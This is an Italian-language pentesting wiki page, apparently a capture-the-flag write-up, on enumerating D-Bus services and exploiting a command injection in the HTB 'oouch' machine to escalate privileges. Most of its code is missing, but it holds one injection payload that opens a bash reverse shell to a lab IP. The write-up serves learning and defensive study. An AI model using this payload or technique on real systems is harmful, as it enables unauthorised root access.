D-Bus Enumeration & Command Injection Privilege Escalation
Enumerazione GUI
D-Bus viene utilizzato come mediatore delle comunicazioni inter-processo (IPC) negli ambienti desktop di Ubuntu. Su Ubuntu, si osserva l'operazione concorrente di diversi bus di messaggi: il bus di sistema, utilizzato principalmente dai servizi privilegiati per esporre servizi rilevanti per l'intero sistema, e un bus di sessione per ogni utente connesso, che espone servizi rilevanti solo per quel particolare utente. L'attenzione qui è principalmente sul bus di sistema a causa della sua associazione con servizi in esecuzione con privilegi più elevati (ad esempio, root), poiché il nostro obiettivo è elevare i privilegi. Si nota che l'architettura di D-Bus utilizza un "router" per ogni bus di sessione, che è responsabile per reindirizzare i messaggi dei client ai servizi appropriati in base all'indirizzo specificato dai client per il servizio con cui desiderano comunicare.
I servizi su D-Bus sono definiti dagli oggetti e dalle interfacce che espongono. Gli oggetti possono essere paragonati alle istanze di classe nei linguaggi di programmazione orientati agli oggetti standard, con ogni istanza identificata in modo univoco da un percorso dell'oggetto. Questo percorso, simile a un percorso del file system, identifica in modo univoco ogni oggetto esposto dal servizio. Un'interfaccia chiave per scopi di ricerca è l'interfaccia org.freedesktop.DBus.Introspectable, che presenta un singolo metodo, Introspect. Questo metodo restituisce una rappresentazione XML dei metodi supportati dall'oggetto, dei segnali e delle proprietà, con un focus qui sui metodi, tralasciando le proprietà e i segnali.
Per la comunicazione con l'interfaccia D-Bus, sono stati utilizzati due strumenti: uno strumento CLI chiamato gdbus per l'invocazione facile dei metodi esposti da D-Bus negli script, e D-Feet, uno strumento GUI basato su Python progettato per enumerare i servizi disponibili su ogni bus e per visualizzare gli oggetti contenuti in ciascun servizio.
Nella prima immagine vengono mostrati i servizi registrati con il bus di sistema D-Bus, con org.debin.apt specificamente evidenziato dopo aver selezionato il pulsante Bus di sistema. D-Feet interroga questo servizio per gli oggetti, mostrando interfacce, metodi, proprietà e segnali per gli oggetti scelti, come si può vedere nella seconda immagine. Viene anche fornita una descrizione dettagliata della firma di ogni metodo.
Una caratteristica notevole è la visualizzazione dell'ID del processo (pid) e della riga di comando del servizio, utile per confermare se il servizio viene eseguito con privilegi elevati, importante per la rilevanza della ricerca.
D-Feet consente anche l'invocazione di metodi: gli utenti possono inserire espressioni Python come parametri, che D-Feet converte in tipi D-Bus prima di passarli al servizio.
Tuttavia, si noti che alcuni metodi richiedono l'autenticazione prima di consentirci di invocarli. Ignoreremo questi metodi, poiché il nostro obiettivo è elevare i nostri privilegi senza credenziali in primo luogo.
Si noti inoltre che alcuni dei servizi interrogano un altro servizio D-Bus chiamato org.freedeskto.PolicyKit1 per verificare se un utente deve essere autorizzato o meno a eseguire determinate azioni.
Enumerazione della riga di comando
Elenco degli oggetti di servizio
È possibile elencare le interfacce D-Bus aperte con:
Connessioni
Da Wikipedia: Quando un processo stabilisce una connessione a un bus, il bus assegna alla connessione un nome speciale chiamato nome di connessione univoco. I nomi di bus di questo tipo sono immutabili, il che significa che non cambieranno finché la connessione esiste, e, cosa più importante, non possono essere riutilizzati durante la durata del bus. Ciò significa che nessun'altra connessione a quel bus avrà mai assegnato un nome di connessione univoco, anche se lo stesso processo chiude la connessione al bus e ne crea una nuova. I nomi di connessione univoci sono facilmente riconoscibili perché iniziano con il carattere due punti, altrimenti vietato.
Informazioni sull'oggetto del servizio
Successivamente, è possibile ottenere alcune informazioni sull'interfaccia con:
Elencare le interfacce di un oggetto di servizio
È necessario disporre di sufficienti autorizzazioni.
Introspezione dell'interfaccia di un oggetto di servizio
Nota come in questo esempio è stata selezionata l'ultima interfaccia scoperta utilizzando il parametro tree
(vedi sezione precedente):
Nota il metodo .Block
dell'interfaccia htb.oouch.Block
(quello che ci interessa). La "s" delle altre colonne potrebbe significare che si aspetta una stringa.
Monitorare/Interfaccia di cattura
Con sufficienti privilegi (solo i privilegi send_destination
e receive_sender
non sono sufficienti) è possibile monitorare una comunicazione D-Bus.
Per monitorare una comunicazione sarà necessario essere root. Se si riscontrano ancora problemi nel diventare root, controllare https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/ e https://wiki.ubuntu.com/DebuggingDBus
Se sai come configurare un file di configurazione D-Bus per consentire agli utenti non root di sniffare la comunicazione, contattami!
Diverse modalità di monitoraggio:
Nell'esempio seguente viene monitorata l'interfaccia htb.oouch.Block
e viene inviato il messaggio "_lalalalal_" attraverso una comunicazione errata**:
Puoi utilizzare capture
invece di monitor
per salvare i risultati in un file pcap.
Filtrare tutto il rumore
Se ci sono troppe informazioni sul bus, puoi passare una regola di corrispondenza in questo modo:
Possono essere specificate più regole. Se un messaggio corrisponde a qualsiasi delle regole, il messaggio verrà stampato. Come segue:
Vedi la documentazione di D-Bus per ulteriori informazioni sulla sintassi delle regole di corrispondenza.
Altro
busctl
ha ancora più opzioni, trovale tutte qui.
Scenario Vulnerabile
Come utente qtc all'interno dell'host "oouch" da HTB, puoi trovare un file di configurazione D-Bus inaspettato situato in /etc/dbus-1/system.d/htb.oouch.Block.conf:
Nota dalla configurazione precedente che dovrai essere l'utente root
o www-data
per inviare e ricevere informazioni tramite questa comunicazione D-BUS.
Come utente qtc all'interno del contenitore Docker aeb4525789d8, puoi trovare del codice relativo a dbus nel file /code/oouch/routes.py. Questo è il codice interessante:
Come puoi vedere, si sta connettendo a un'interfaccia D-Bus e inviando alla funzione "Block" l'indirizzo IP del client.
Dall'altra parte della connessione D-Bus c'è un binario compilato in C in esecuzione. Questo codice sta ascoltando sulla connessione D-Bus per gli indirizzi IP e sta chiamando iptables tramite la funzione system
per bloccare l'indirizzo IP fornito.
La chiamata a system
è vulnerabile appositamente all'iniezione di comandi, quindi un payload come il seguente creerà una shell inversa: ;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #
Sfruttare la vulnerabilità
Alla fine di questa pagina puoi trovare il codice C completo dell'applicazione D-Bus. All'interno puoi trovare tra le righe 91-97 come vengono registrati il percorso dell'oggetto D-Bus
e il nome dell'interfaccia
. Queste informazioni saranno necessarie per inviare informazioni alla connessione D-Bus:
Inoltre, nella riga 57 puoi trovare che l'unico metodo registrato per questa comunicazione D-Bus si chiama Block
(Ecco perché nella sezione successiva i payload verranno inviati all'oggetto di servizio htb.oouch.Block
, all'interfaccia /htb/oouch/Block
e al nome del metodo Block
):
Python
Il seguente codice python invierà il payload alla connessione D-Bus al metodo Block
tramite block_iface.Block(runme)
(nota che è stato estratto dal precedente blocco di codice):
busctl e dbus-send
busctl
is a command-line tool used to interact with the D-Bus system bus. It allows you to list available services, objects, and interfaces, as well as call methods and inspect properties.
dbus-send
is another command-line tool that can be used to send messages to a D-Bus message bus. It can be used to invoke methods on remote objects, as well as to set and get properties.
Both busctl
and dbus-send
are powerful tools that can be used for enumeration and command injection during privilege escalation attacks. By leveraging these tools, an attacker can gather information about the system and potentially execute arbitrary commands with elevated privileges.
dbus-send
è uno strumento utilizzato per inviare messaggi al "Message Bus"Message Bus - Un software utilizzato dai sistemi per facilitare le comunicazioni tra le applicazioni. È correlato a Message Queue (i messaggi sono ordinati in sequenza), ma nel Message Bus i messaggi vengono inviati in un modello di sottoscrizione e sono anche molto veloci.
Il tag "-system" viene utilizzato per indicare che si tratta di un messaggio di sistema, non di un messaggio di sessione (per impostazione predefinita).
Il tag "--print-reply" viene utilizzato per stampare il nostro messaggio in modo appropriato e ricevere eventuali risposte in un formato leggibile dall'essere umano.
"--dest=Dbus-Interface-Block" è l'indirizzo dell'interfaccia Dbus.
"--string:" - Tipo di messaggio che desideriamo inviare all'interfaccia. Ci sono diversi formati per l'invio di messaggi come double, bytes, booleans, int, objpath. Tra questi, "object path" è utile quando vogliamo inviare il percorso di un file all'interfaccia Dbus. In questo caso possiamo utilizzare un file speciale (FIFO) per passare un comando all'interfaccia con il nome di un file. "string:;" - Questo serve per richiamare nuovamente il percorso dell'oggetto in cui inseriamo il file di shell inversa FIFO.
Nota che in htb.oouch.Block.Block
, la prima parte (htb.oouch.Block
) fa riferimento all'oggetto del servizio e l'ultima parte (.Block
) fa riferimento al nome del metodo.
Codice C
Riferimenti
Last updated